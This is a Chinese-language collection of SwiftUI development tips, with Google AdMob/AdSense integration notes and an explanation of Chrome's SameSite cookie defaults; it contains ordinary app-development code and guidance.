  1. 在界面中使用 Color.background 等作为背景色,Color.primary, Color.secondary 作为内容色,其中 Color.secondary 可以替代 Color.gray

黑夜模式检测

struct ContentView: View {
        @Environment(\.colorScheme) var colorScheme

        ...
        var body: some View {

            // ... to any view
            .background(colorScheme == .dark ? Color.black : Color.white)

        }
   }

消除 SwiftUI View 之间的距离

默认的情况下,两个 View 之间会有一个距离,哪怕 padding 都设定为0,要解决这个问题,只需要加上 spacing: 0

VStack(spacing: 0) {
    ...
}

Int 数组 ForEach 的问题

  • 列表 item 删除后导致的越界问题
  • LazyVGrid 列表显示 Int 数组,数字重复会导致崩溃的问题

解决:使用 zip 进行循环

@State private var arr: Array<Int> = [1, 2, 3, 3, 2, 1]

LazyVGrid(columns: [GridItem(.adaptive(minimum: 60))]) {
    ForEach(Array(zip(arr.indices, arr)), id: \.0) { ndx, item in
        Text("num: \(item)")
    }
}

@binding 字段 init() 初始化

struct TestView: View {
    @Binding var text: String
    var height: CGFloat = 188
    
    init(text: Binding<String>, height: CGFloat = 188) {
        self._text = text // 使用下横线作为 binding 字段
        self.height = height
    }

    ...
}

SwiftUI 读取 View 尺寸大小

// 读取View尺寸()
extension View {
    func readSize(onChange: @escaping (CGSize) -> Void) -> some View {
        background(
            GeometryReader { geometryProxy in
                Color.clear
                    .preference(key: SizePreferenceKey.self, value: geometryProxy.size)
            }
        )
        .onPreferenceChange(SizePreferenceKey.self, perform: onChange)
    }
}
private struct SizePreferenceKey: PreferenceKey {
    static var defaultValue: CGSize = .zero
    static func reduce(value: inout CGSize, nextValue: () -> CGSize) {}
}

用法:

@State private var viewSize: CGSize = CGSize()
@State private var text: String = "Hello World"
...
Text("\(text)")
    .readSize(onChange: { size in
        self.viewSize = size
    })

Text 不想被截断显示...

很多时候我们不想要文字被截断,可以做以下控制:

Text("Hello world!!!")
    .lineLimit(1)
    .fixedSize(horizontal: true, vertical: true) // 显示全部文本内容
    .frame(maxWidth: .infinity) // 还是会有被截断的机率,加上这行就可以了

@ObservedObject 对象里的某些字段变化,为什么界面不改变

很多时候,我们需要对一个对象进行监听变化的时候,都可以使用 @ObservedObject 标识符进行监听,但是对象里的字段需要设定为 @Published,才会被监听。

struct PageTetris: View {
    @ObservedObject var game = TetrisGameUI()
    ...
}
class TetrisGameUI : ObservableObject {
    var rows: Int = 0 // 普通变量,不会被监听
    @Published var status: Int = 0 // published 变量,才会被监听
    ...
}

SwiftUI定时器 setInterval

var timer : Timer?
...
// 开启定时器
timer = Timer.scheduledTimer(withTimeInterval: 0.5, repeats: true, block: update)
...
// 关闭定时器
timer?.invalidate()
timer = nil

func update(timer: Timer){
    ...
}

SwiftUI 获取 WiFi 名称(SSID)

网上找过很多例子,有一些是不支持 iOS 14 的,最后总结了下,以下方式支持 iOS 14 + 的:

首先要保证以下几个步骤:

  1. 要真机测试
  2. XCode 上添加WiFi读取权限:Target -> "Signing & Capabilities" and adding "Access WiFi Information"
  3. 地理位置权限说明:Info.plist add: NSLocationWhenInUseUsageDescription

image

image

以下代码已封装,可以直接调用:

import SwiftUI
import SystemConfiguration.CaptiveNetwork
import CoreLocation

final class NetworkManager: NSObject {
    // 单例模式,调用:NetworkManager.shared.xxx
    static let shared = NetworkManager()
    
    private let manager: CLLocationManager = CLLocationManager()
    
    struct NetworkInfo {
        var interface: String
        var success: Bool = false
        var ssid: String?
        var bssid: String?
    }
    
    private override init() {
        super.init()
    }
    
    // 请求用户权限
    func requestPermission() {
        manager.requestWhenInUseAuthorization()
    }
    
    func fetchNetworkInfo() -> [NetworkInfo]? {
        // 首先确保权限可用(如果还没请求过权限,那么第一次请求该方法会返回空值)
        requestPermission()
        
        if let interfaces: NSArray = CNCopySupportedInterfaces() {
            var networkInfos = [NetworkInfo]()
            for interface in interfaces {
                let interfaceName = interface as! String
                var networkInfo = NetworkInfo(interface: interfaceName,
                                              success: false,
                                              ssid: nil,
                                              bssid: nil)
                if let dict = CNCopyCurrentNetworkInfo(interfaceName as CFString) as NSDictionary? {
                    networkInfo.success = true
                    networkInfo.ssid = dict[kCNNetworkInfoKeySSID as String] as? String
                    networkInfo.bssid = dict[kCNNetworkInfoKeyBSSID as String] as? String
                }
                networkInfos.append(networkInfo)
            }
            return networkInfos
        }
        return nil
    }
}

调用栗子:

Button(action: {
    let infos = NetworkManager.shared.fetchNetworkInfo()
    if let ssid = infos?.first?.ssid {
        print("SSID: \(ssid)")
    }
}) {
    Text("Get current WiFi SSID")
}

如果是第一次访问,界面会弹出授权框,然后返回 SSID 为空,需要用户授权后再点一次按钮才可以正常返回 SSID 值。

当然,也可以选择在页面初始化的时候先调用 NetworkManager.shared.requestPermission(),首次访问时,页面在打开的时候就已经给用户弹出授权框,这样用户在点击按钮的时候就不会再弹窗了。

SwiftUI 使用 Picker 会导致页面的 .onAppear 会重复触发

比如以下情况,onAppear 会在 Picker 每次选完后触发:

var body: some View {
    VStack {
        Picker("Type", selection: $method) {
            ForEach(["1", "2"], id: \.self) {item in
                Text("\(item)")
                    .tag(item)
            }
        }
    }
    .onAppear {
        print("onAppear")
    }
}

解决办法,自己进行排重,因为一个页面只需要触发一次就够了:

// 排重变量
@State private var onAppearDone: Bool = false

var body: some View {
    VStack {
        Picker("Type", selection: $method) {
            ForEach(["1", "2"], id: \.self) {item in
                Text("\(item)")
                    .tag(item)
            }
        }
    }
    .onAppear {
        // 排重
        if self.onAppearDone { return }
        onAppearDone = true

        print("onAppear")
    }
}

CoreData 例子

import Foundation
import CoreData

public class Record: NSManagedObject, Identifiable {
	@NSManaged public var date : Date?
	@NSManaged public var timeElapsed : Int32
	@NSManaged public var errors : Int16
	@NSManaged public var victory : Bool
}

extension Record {
	static func getAllRecords() -> NSFetchRequest<Record> {
		let request: NSFetchRequest<Record> = Record.fetchRequest() as!
		NSFetchRequest<Record>
		
		let sortDescriptor = NSSortDescriptor(key: "date", ascending: true)
		
		request.sortDescriptors = [sortDescriptor]
		
		return request
	}
}

Settings 配置本地存储例子

使用 @AppStorage 可以把变量绑定到本地存储 UserDefaults

struct PageSettings: View {
    @AppStorage("key_showFavList") private var showFavList: Bool = false

    var body: some View {
        List {
            Section {
                Toggle(isOn: $showFavList) {
                    Text("Show Fav List")
                }
            }
        }
    ...
}

CoreData 列表数据更新不同步

CoreData 有时候数据更新后,列表数据没及时更新。

解决:https://stackoverflow.com/questions/58643094/how-to-update-fetchrequest-when-a-related-entity-changes-in-swiftui

.shadow() 阴影效果导致 SwiftUI 页面卡顿

最近有个页面发现了很严重的卡顿问题,查了很久才定位到原来是 .shadow() 的锅。
下面这个小组件使用了阴影效果,该组件被某个界面大量引用,导致页面卡顿:

Image(systemName: "xxxx")
    .font(.system(size: 32))
    .foregroundColor(Color.orange)
    .frame(width: 65, height: 65)
    .background(Color.white)
    .cornerRadius(18)
    .shadow(color: Color.secondary.opacity(0.1), radius: 2, x: -1, y: -1)
    .shadow(color: Color.secondary.opacity(0.2), radius: 5, x: 3, y: 2)

解决:目前没什么好的解决办法,只能暂时删掉阴影效果,改用 border 效果顶一下吧,比如:

Image(systemName: "xxxx")
    .font(.system(size: 32))
    .foregroundColor(Color.orange)
    .frame(width: 65, height: 65)
    .background(Color.white)
    .cornerRadius(18)
//    .shadow(color: Color.secondary.opacity(0.1), radius: 2, x: -1, y: -1)
//    .shadow(color: Color.secondary.opacity(0.2), radius: 5, x: 3, y: 2)
    .overlay(
        RoundedRectangle(cornerRadius: 18)
            .stroke(Color.gray.opacity(0.09), lineWidth: 1)
    )

平台判定插件

/*
 * 平台判定条件封装
 * 用法:
 *    Text("Hello World")
 *        .iOS { $0.padding(10) }
 *
 * @link https://www.hackingwithswift.com/quick-start/swiftui/swiftui-tips-and-tricks
 */
extension View {
    func iOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
        #if os(iOS)
        return modifier(self)
        #else
        return self
        #endif
    }
    
    func macOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
        #if os(macOS)
        return modifier(self)
        #else
        return self
        #endif
    }
    
    func tvOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
        #if os(tvOS)
        return modifier(self)
        #else
        return self
        #endif
    }
    
    func watchOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
        #if os(watchOS)
        return modifier(self)
        #else
        return self
        #endif
    }
}

SwiftUI 10个子组件的限制

SwiftUI 规定,所有的容器都不能返回超过10个子组件,一般我们会使用 ForEach 循环或者 List 去实现,但是有时候界面上的设计就是需要同级的子组件有超过10个,那怎么办呢?

方法:添加 Group

List {
    Group {
        Text("Row 1")
        Text("Row 2")
        Text("Row 3")
        Text("Row 4")
        Text("Row 5")
        Text("Row 6")
    }

    Group {
        Text("Row 7")
        Text("Row 8")
        Text("Row 9")
        Text("Row 10")
        Text("Row 11")
        Text("Row 12")
    }
}

打开本App的系统设置页面

func gotoAppPrivacySettings() {
    guard let url = URL(string: UIApplication.openSettingsURLString),
        UIApplication.shared.canOpenURL(url) else {
            assertionFailure("Not able to open App privacy settings")
            return
    }

    UIApplication.shared.open(url, options: [:], completionHandler: nil)
}

info.plist 本地化(多语言支持),导致审核不通过

参考 https://medium.com/@guerrix/info-plist-localization-ad5daaea732a,增加一个 InfoPlist.strings 文件并本地化即可。

但是,上传到 AppStore 后,有可能会出现问题,会提示 info.plist 缺少权限描述而导致审核不通过。
解决方法:
按正常的在 info.plist 添加描述,同时按上面的说明去添加 InfoPlist.strings 多语言支持即可。

SwiftUI 画板(PencilKit)在黑夜模式(dark mode)下的颜色问题

使用 @State private var canvas = PKCanvasView() 进行画板功能实现,然后使用 canvas.image() 进行图像保存,在 dark mode 模式下会出现颜色的反转的问题。

解决:画板就不应该支持黑夜模式,参考:https://stackoverflow.com/a/64341486/20251459

1、先扩展 image 方法:

import PencilKit

extension PKDrawing {
    // 保存图片时支持(白天/黑夜)模式选择
    func image(from rect: CGRect, scale: CGFloat, userInterfaceStyle: UIUserInterfaceStyle) -> UIImage {
        let currentTraits = UITraitCollection.current
        UITraitCollection.current = UITraitCollection(userInterfaceStyle: userInterfaceStyle)
        let image = self.image(from: rect, scale: scale)
        UITraitCollection.current = currentTraits
        return image
    }
}

2、将 PKCanvasView 设置成 light 模式

    init() {
        canvas.overrideUserInterfaceStyle = .light
    }

3、保存图片的时候,使用扩展的 image 方法

    func saveImage() {
        // getting image from Canvas
        let image: UIImage = canvas.drawing.image(from: canvas.drawing.bounds, scale: 1, userInterfaceStyle: .light)
        
        // saving to album
        UIImageWriteToSavedPhotosAlbum(image, nil, nil, nil)
    }

NavigationLink 在 toolbar 里,导致页面跳转失败的Bug

参考:https://stackoverflow.com/a/63602455/20251459

解决:

  1. NavigationLink 放到页面的其中一个 View 的 background 里,利用 isActive 控制展示
  2. toolbar 里点击后把 isActive 置为 true

网站和App流量变现(广告接入)

App和网站需要接入广告来进行变现的话,一般都会选择 Google。

写在前面

自己网站和APP的广告,开发阶段千万不要在自己手机去点击广告,不然很有可能会因 “无效流量” 而导致账号被封。
我之前就在一个 APP 接入广告的时候使用了真实广告 ID 开发,然后点击了几下广告,导致好长一段时间广告都不展示了。

image

开发阶段需要测试的话,要用官方提供的测试ID或者添加测试设备进行测试。

App 广告接入

Google 的 App 广告平台叫 Google AdMob

iOS 接入步骤简述

步骤1:Google-Mobile-Ads-SDK 下载安装

我个人喜欢手动安装,别忘了添加 -ObjC

目前已经有了 Swift Package Manager 的方式,就更方便了。

步骤2:info.plist 添加对应字段

  • 广告ID:GADApplicationIdentifier
  • 广告联盟合作伙伴列表:SKAdNetworkItems
  • 权限说明:NSUserTrackingUsageDescription
  • 应用传输安全:NSAppTransportSecurity

步骤3:广告初始化

SwiftUI 可以在 App 入口文件 init() 里进行初始化:

struct exampleApp: App {
    init() {
        if #available(iOS 14, *) {
            DispatchQueue.main.asyncAfter(deadline: .now() + 1, execute: {
                ATTrackingManager.requestTrackingAuthorization { status in
                    GADMobileAds.sharedInstance().start(completionHandler: nil)
                }
            })
        } else {
            GADMobileAds.sharedInstance().start(completionHandler: nil)
        }
    }

    var body: some Scene {
        WindowGroup {
            ContentView()
              // FIXED: 这里是针对 iOS15 的
              .onReceive(NotificationCenter.default.publisher(for: UIApplication.didBecomeActiveNotification)) { _ in
                  ATTrackingManager.requestTrackingAuthorization(completionHandler: { status in })
              }
        }
    }
}

UIKit 的用户需要在 AppDelegate.swiftdidFinishLaunchingWithOptions 里初始化,代码一样:

@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        DispatchQueue.main.asyncAfter(deadline: .now() + 1.0, execute: {
            ATTrackingManager.requestTrackingAuthorization { status in
                GADMobileAds.sharedInstance().start(completionHandler: nil)
            }
        })
        
        return true
    }

    ...
}

接入成功的话,第一次打开 App 会有弹窗:

image

步骤4:具体广告展示

按【这里】的教程,封装好几个广告的展示组件,即可直接使用。

image

切记,别点击自己的广告

再次提醒,千万别点击自己的广告,另外,开发过程中请使用测试单元ID
Swiftui 里可以这样定义你的广告单元ID:

class GoogleAdMobIds {
    static let test_banner: String = "ca-app-pub-3940256099942544/2934735716"
    static let test_rewarded: String = "ca-app-pub-3940256099942544/1712485313"
    
    #if DEBUG // 开发测试环境
    static let banner_homepage: String = GoogleAdMobIds.test_banner
    static let banner_page1: String = GoogleAdMobIds.test_banner
    #else // 生产环境
    static let banner_homepage: String = "ca-app-pub-2849990666xxxxxx/xxxxxxxxxx"
    static let banner_page1: String = "ca-app-pub-2849990666xxxxxx/yyyyyyyyyy"
    #endif
}

网站广告接入

Google 的网站广告平台叫 Google AdSense

接入方式还是挺简单的,看看官方文档一般都没问题,就是在官网获取一段 <script> 代码加到 <head> 里而已。

ads.txt 和 app-ads.txt 文件

链接:

授权应用卖方(或 app-ads.txt) 是一项 IAB 计划,可帮助保护你的应用广告资源免遭广告欺诈。你可以创建 app-ads.txt 文件来指明有权销售你的广告资源的卖方。通过指明授权卖方,你可以避免那些原本可能流向欺诈应用的仿冒广告资源的广告客户支出。

app-ads.txt 文件是公开的,可供广告交易平台、供应方平台 (SSP) 以及其他买方和第三方供应商抓取。

授权应用卖方 (app-ads.txt) 是授权数字卖方 (ads.txt) 计划的延伸和扩展,后者最初设计用于保护网络广告资源。app-ads.txt 在 ads.txt 的基础上扩展了兼容性, 使之支持移动应用中展示的广告。

通俗来说,有了app-ads.txt像是有了保障,可以保证广告来源的质量。

应用的话,必须在开发者网站添加请注意以下两点:

  • 应用必须在 Google Play 或 Apple App Store 中注册上架。
  • 应用的商品详情必须添加开发者网站

App Store 里的字段是:Marketing URL

image

有添加开发者网站的,应用详情页里会有展示:

image

AdMob 里验证通过 app-ads.txt 之后是长这样的:

image

XCode 项目兼容 iOS 和 OSX,广告SDK处理

Google AdMob SDK 并不支持 OSX,所以在代码里也要做区别对待,不然编译不通过。

广告相关的组件代码文件以及Google AdMob SDK都需要设置成只对 iOS 有效,如图:

image

上传 AppStore 出错

image

The app references non-public selectors in Payload/xxx.app/xxx: callWithArguments:, estimatedProgress, frameInfo, initWithFrame:configuration:, isMainFrame, navigationType, setNavigationDelegate:, setProcessPool:, toDouble, toString, userContentController With error code STATE_ERROR.VALIDATION_ERROR.50 for id 3c74c4d0-e222-4a4a-ba92-6161594ec147

目前还在解决中!
package 里的包更新一下,然后退出 XCode 后,重新打开一下就好了,也不知道为什么。

iPad 真机会出现 crash

image

但是在模拟机上怎么都发现不了问题,经对比发现,这个 App 打开了 Supports multiple windows,而广告请求上没有传递场景参数而导致的。其实在模拟机上也显示不了广告。

解决:要不把多窗口关闭,要不在广告请求上增加场景请求,具体参考相关文档。

image

Chrome 80 默认禁用第三方cookie(SameSite=Lax)

Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪。

Chrome 80 默认禁用第三方 Cookie,也就是说,会默认会给第三方 Cookie 添加 SameSite=Lax 属性,也就是说,A 域名跨域请求 B 域名的时候,Cookie 不会带过去,这会导致以下几种情况

  • jsonp 请求跨域,无法通过携带 Cookie
  • CORS 请求,原有开启 withCredentials 无法携带 Cookie
  • iframe 嵌入场景,内嵌页面无法发送 Cookie

Chrome 中打开 chrome://flags/#same-site-by-default-cookieschrome://flags/#cookies-without-same-site-must-be-secure 两个 Flag,就能提前试验屏蔽第三方 Cookie 的效果

解决

Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

下面的设置无效:

Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.